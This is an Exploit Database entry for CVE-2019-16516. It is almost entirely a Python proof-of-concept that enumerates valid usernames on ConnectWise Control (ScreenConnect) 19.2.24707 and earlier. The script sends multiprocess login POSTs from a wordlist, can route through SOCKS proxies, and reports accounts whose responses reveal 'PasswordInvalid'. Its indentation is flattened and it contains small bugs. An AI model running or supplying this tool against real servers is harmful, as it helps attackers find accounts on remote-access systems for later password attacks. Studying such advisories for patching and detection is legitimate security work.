ConnectWise Control 19.2.24707 – Username Enumeration

Exploit Database
145 阅读

作者： Luca Cuzzolin

日期： 2022-01-05
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/50618/

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# Exploit Title: ConnectWise Control 19.2.24707 - Username Enumeration

# Date: 17/12/2021

# Exploit Author: Luca Cuzzolin aka czz78

# Vendor Homepage: https://www.connectwise.com/

# Version: vulnerable <= 19.2.24707

# CVE : CVE-2019-16516

# https://github.com/czz/ScreenConnect-UserEnum

from multiprocessing import Process, Queue

from statistics import mean

from urllib3 import exceptions as urlexcept

import argparse

import math

import re

import requests

class bcolors:

HEADER = '\033[95m'

OKBLUE = '\033[94m'

OKCYAN = '\033[96m'

OKGREEN = '\033[92m'

WARNING = '\033[93m'

FAIL = '\033[91m'

ENDC = '\033[0m'

BOLD = '\033[1m'

UNDERLINE = '\033[4m'

headers = []

def header_function(header_line):

headers.append(header_line)

def process_enum(queue, found_queue, wordlist, url, payload, failstr, verbose, proc_id, stop, proxy):

try:

# Payload to dictionary

payload_dict = {}

for load in payload:

split_load = load.split(":")

if split_load[1] != '{USER}':

payload_dict[split_load[0]] = split_load[1]

else:

payload_dict[split_load[0]] = '{USER}'

# Enumeration

total = len(wordlist)

for counter, user in enumerate(wordlist):

user_payload = dict(payload_dict)

for key, value in user_payload.items():

if value == '{USER}':

user_payload[key] = user

dataraw = "".join(['%s=%s&' % (key, value) for (key, value) in user_payload.items()])[:-1]

headers={"Accept": "*/*" , "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"}

req = requests.request('POST',url,headers=headers,data=dataraw, proxies=proxies)

x = "".join('{}: {}'.format(k, v) for k, v in req.headers.items())

if re.search(r"{}".format(failstr), str(x).replace('\n','').replace('\r','')):

queue.put((proc_id, "FOUND", user))

found_queue.put((proc_id, "FOUND", user))

if stop: break

elif verbose:

queue.put((proc_id, "TRIED", user))

queue.put(("PERCENT", proc_id, (counter/total)*100))

except (urlexcept.NewConnectionError, requests.exceptions.ConnectionError):

print("[ATTENTION] Connection error on process {}! Try lowering the amount of threads with the -c parameter.".format(proc_id))

if __name__ == "__main__":

# Arguments

parser = argparse.ArgumentParser(description="http://example.com/Login user enumeration tool")

parser.add_argument("url", help="http://example.com/Login")

parser.add_argument("wordlist", help="username wordlist")

parser.add_argument("-c", metavar="cnt", type=int, default=10, help="process (thread) count, default 10, too many processes may cause connection problems")

parser.add_argument("-v", action="store_true", help="verbose mode")

parser.add_argument("-s", action="store_true", help="stop on first user found")

parser.add_argument("-p", metavar="proxy", type=str, help="socks4/5 http/https proxy, ex: socks5://127.0.0.1:9050")

args = parser.parse_args()

# Arguments to simple variables

wordlist = args.wordlist

url = args.url

payload = ['ctl00%24Main%24userNameBox:{USER}', 'ctl00%24Main%24passwordBox:a', 'ctl00%24Main%24ctl05:Login', '__EVENTTARGET:', '__EVENTARGUMENT:', '__VIEWSTATE:']

verbose = args.v

thread_count = args.c

failstr = "PasswordInvalid"

stop = args.s

proxy= args.p

print(bcolors.HEADER + """

__ _____ ___

|| |__|__|__) |__|\ | || |\/|

|__| ___| |___ |\ |___ | \| |__| ||

ScreenConnect POC by czz78 :)

"""+ bcolors.ENDC);

print("URL: "+url)

print("Payload: "+str(payload))

print("Fail string: "+failstr)

print("Wordlist: "+wordlist)

if verbose: print("Verbose mode")

if stop: print("Will stop on first user found")

proxies = {'http': '', 'https': ''}

if proxy:

proxies = {'http': proxy, 'https': proxy}

print("Initializing processes...")

# Distribute wordlist to processes

wlfile = open(wordlist, "r", encoding="ISO-8859-1")# or utf-8

tothread = 0

wllist = [[] for i in range(thread_count)]

for user in wlfile:

wllist[tothread-1].append(user.strip())

if (tothread < thread_count-1):

tothread+=1

else:

tothread = 0

# Start processes

tries_q = Queue()

found_q = Queue()

processes = []

percentage = []

last_percentage = 0

for i in range(thread_count):

p = Process(target=process_enum, args=(tries_q, found_q, wllist[i], url, payload, failstr, verbose, i, stop, proxy))

processes.append(p)

percentage.append(0)

p.start()

print(bcolors.OKBLUE + "Processes started successfully! Enumerating." + bcolors.ENDC)

# Main process loop

initial_count = len(processes)

while True:

# Read the process output queue

try:

oldest = tries_q.get(False)

if oldest[0] == 'PERCENT':

percentage[oldest[1]] = oldest[2]

elif oldest[1] == 'FOUND':

print(bcolors.OKGREEN + "[{}] FOUND: {}".format(oldest[0], oldest[2]) + bcolors.ENDC)

elif verbose:

print(bcolors.OKCYAN + "[{}] Tried: {}".format(oldest[0], oldest[2]) + bcolors.ENDC)

except: pass

# Calculate completion percentage and print if /10

total_percentage = math.ceil(mean(percentage))

if total_percentage % 10 == 0 and total_percentage != last_percentage:

print("{}% complete".format(total_percentage))

last_percentage = total_percentage

# Pop dead processes

for k, p in enumerate(processes):

if p.is_alive() == False:

processes.pop(k)

# Terminate all processes if -s flag is present

if len(processes) < initial_count and stop:

for p in processes:

p.terminate()

# Print results and terminate self if finished

if len(processes) == 0:

print(bcolors.OKBLUE + "EnumUser finished, and these usernames were found:" + bcolors.ENDC)

while True:

try:

entry = found_q.get(False)

print(bcolors.OKGREEN + "[{}] FOUND: {}".format(entry[0], entry[2]) + bcolors.ENDC)

except:

break

quit()